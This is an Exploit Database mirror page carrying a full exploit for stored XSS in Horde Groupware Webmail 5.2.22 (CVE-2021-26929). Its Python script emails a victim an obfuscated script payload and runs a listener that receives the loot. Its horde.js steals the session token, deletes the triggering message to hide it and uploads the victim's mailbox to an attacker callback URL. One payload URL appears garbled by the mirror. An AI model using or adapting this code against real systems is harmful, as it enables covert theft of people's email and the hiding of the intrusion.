Horde Groupware Webmail 5.2.22 – Stored XSS

• Exploit Database
• 14 阅读

• 作者： nu11secur1ty
  日期： 2021-04-15
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49769/

• # Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS
  # Author: Alex Birnberg
  # Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty
  # Date: 04.14.2021
  # Vendor: https://www.horde.org/apps/webmail
  # Link: https://github.com/horde/webmail/releases
  # CVE: CVE-2021-26929
  
  [+] Exploit Source:
  https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929
  
  [Exploit Program Code]
  
  #!/usr/bin/python3
  # Author idea: Alex Birnberg
  # debug nu11secur1ty 2021
  import io
  import os
  import ssl
  import sys
  import json
  import base64
  import string
  import random
  import logging
  import smtplib
  import sqlite3
  import hashlib
  import zipfile
  import argparse
  from flask import Flask, request, Response
  from urllib.parse import urlparse
  
  class Exploit:
  def __init__(self, args):
  # Database
  if not os.path.exists('database.db'):
  with sqlite3.connect("database.db") as conn:
  cursor = conn.cursor()
  cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);')
  conn.commit()
  # SMTP URL
  o = urlparse(args.smtp)
  self.smtp = {
  'ssl': o.scheme.lower() == 'smtps',
  'host': o.hostname or '127.0.0.1',
  'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'),
  'username': '' or o.username,
  'password': '' or o.password
  }
  try:
  if self.smtp['ssl']:
  context = ssl.create_default_context()
  context.verify_mode = ssl.CERT_OPTIONAL 
  context.check_hostname = False
  self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context)
  else:
  self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port'])
  except Exception as e:
  print(e)
  print('[-] Error connecting to SMTP server!')
  exit()
  try:
  self.server.login(self.smtp['username'], self.smtp['password'])
  except:
  pass
  # Callback URL
  o = urlparse(args.callback)
  self.callback = {
  'url': '{}://{}'.format(o.scheme, o.netloc),
  'path': ''.join(random.choice(string.ascii_letters) for i in range(20))
  }
  # Listener URL
  o = urlparse(args.listener)
  self.listener = {
  'ssl': o.scheme.lower() == 'https',
  'host': o.hostname or '0.0.0.0',
  'port': o.port or 80,
  'horde': ''.join(random.choice(string.ascii_letters) for i in range(20))
  }
  # Target email
  self.target = args.target
  # Subject
  self.subject = args.subject or 'Important Message'
  # Environment
  self.env = {}
  self.env['mailbox'] = args.mailbox or 'INBOX'
  self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path'])
  
  def trigger(self):
  print('[*] Waiting for emails...')
  self.bypass_auth()
  print('\n[*] Done')
  
  def bypass_auth(self):
  def horde():
  f = open('horde.js')
  content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read())
  f.close()
  return content
  
  def callback():
  response = Response('')
  with sqlite3.connect("database.db") as conn:
  try:
  if request.files.get('mbox'):
  filename = request.files.get('mbox').filename.replace('zip', 'mbox')
  content = request.files.get('mbox').stream.read()
  zipdata = io.BytesIO()
  zipdata.write(content)
  content = zipfile.ZipFile(zipdata)
  content = content.open(filename).read()
  mail_hash =hashlib.sha1(content).digest().hex()
  print('[+] Received mailbox ({})'.format(mail_hash))
  cursor = conn.cursor()
  cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content))
  except:
  pass
  response.headers['Access-Control-Allow-Origin'] = '*'
  return response
  
  payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="https://www.exploit-db.com/exploits/49769/{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde'])
  payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
  content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target)
  # The secret services :)
  content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
  self.server.sendmail(self.smtp['username'], self.target, content)
  app = Flask(__name__)
  app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde)
  app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST'])
  logging.getLogger('werkzeug').setLevel(logging.ERROR)
  cli = sys.modules['flask.cli']
  cli.show_server_banner = lambda *x: None
  try:
  if self.listener['ssl']:
  app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
  else:
  app.run(host=self.listener['host'], port=self.listener['port'])
  except:
  pass
  
  if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL')
  parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL')
  parser.add_argument('--listener', help='Listener URL', metavar='URL')
  parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL')
  parser.add_argument('--subject', help='Email subject', metavar='SUBJECT')
  parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX')
  args = parser.parse_args()
  exploit = Exploit(args)
  exploit.trigger()
  horde.js
  
  class Exploit {
  constructor() {
  this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp'));
  }
  
  trigger() {
  this.mailbox = this.get_mailbox();
  this.buid = this.get_buid();
  this.token = this.get_token();
  this.auto_delete()
  .then(() => {
  this.exfiltrate_emails({mailbox: env.mailbox});
  });
  }
  
  async auto_delete() {
  let params = new URLSearchParams()
  params.append('token', this.token);
  params.append('view', this.mailbox);
  params.append('buid', this.buid);
  return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', {
  method: 'POST',
  body: params
  })
  .then(() => {
  let params = new URLSearchParams();
  params.append('token', this.token);
  params.append('view', this.mailbox);
  return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', {
  method: 'POST',
  body: params
  })
  .then(() => {
  if (document.getElementById('checkmaillink') !== null) {
  document.getElementById('checkmaillink').click();
  }
  });
  });
  }
  
  async exfiltrate_emails(args) {
  let mbox_list = '["' + this.get_mailbox() + '"]';
  if (args.mailbox.toUpperCase() != 'INBOX') {
  let params = new URLSearchParams();
  params.append('reload', '1');
  params.append('unsub', '1');
  params.append('token', this.token);
  let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', {
  method: 'POST',
  body: params
  })
  .then(response => {
  return response.text();
  })
  .then(data => {
  return JSON.parse(data.substring(10, data.length - 2)); 
  });
  mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
  if (mailbox.l.toUpperCase() == args.mailbox) {
  if (mbox_list === undefined) {
  mbox_list = '["' + mailbox.m + '"]';
  }
  }
  });
  }
  let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/')
  .then(response => {
  return [response.blob(), response.headers.get('Content-Disposition')];
  });
  let filename = zip[1];
  filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1);
  zip = await zip[0];
  let formData = new FormData();
  formData.append('mbox', zip, filename);
  fetch(window.env.callback, {
  method: 'POST',
  body: formData
  });
  }
  
  get_token() {
  let link;
  let token;
  if (document.getElementsByClassName('smartmobile-logout').length > 0) {
  link = document.getElementsByClassName('smartmobile-logout')[0].href;
  }
  else if (document.getElementById('horde-logout') !== null) {
  link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
  }
  else {
  link = location.href;
  }
  if (link.match('horde_logout_token=(.*)&') !== null) {
  token = link.match('horde_logout_token=(.*)&')[1];
  }
  if (token === undefined && link.match('token=(.*)&') !== null) {
  token = link.match('token=(.*)&')[1];
  }
  return token;
  }
  
  get_mailbox() {
  if (window.DimpBase !== undefined) {
  return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
  VP_id: {
  equal: [ DimpBase.pp.VP_id ]
  }
  }).get('dataob').first().VP_view;
  }
  else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
  return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
  }
  else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
  return location.href.match('mbox=([A-Za-z0-9]*)')[1];
  }
  }
  
  get_buid() {
  if (location.href.match('buid=([0-9]*)') !== null) {
  return location.href.match('buid=([0-9]*)')[1];
  }
  else if (location.href.match(';([0-9]*)') !== null) {
  return location.href.match(';([0-9]*)')[1];
  }
  }
  }
  
  const exploit = new Exploit();
  exploit.trigger();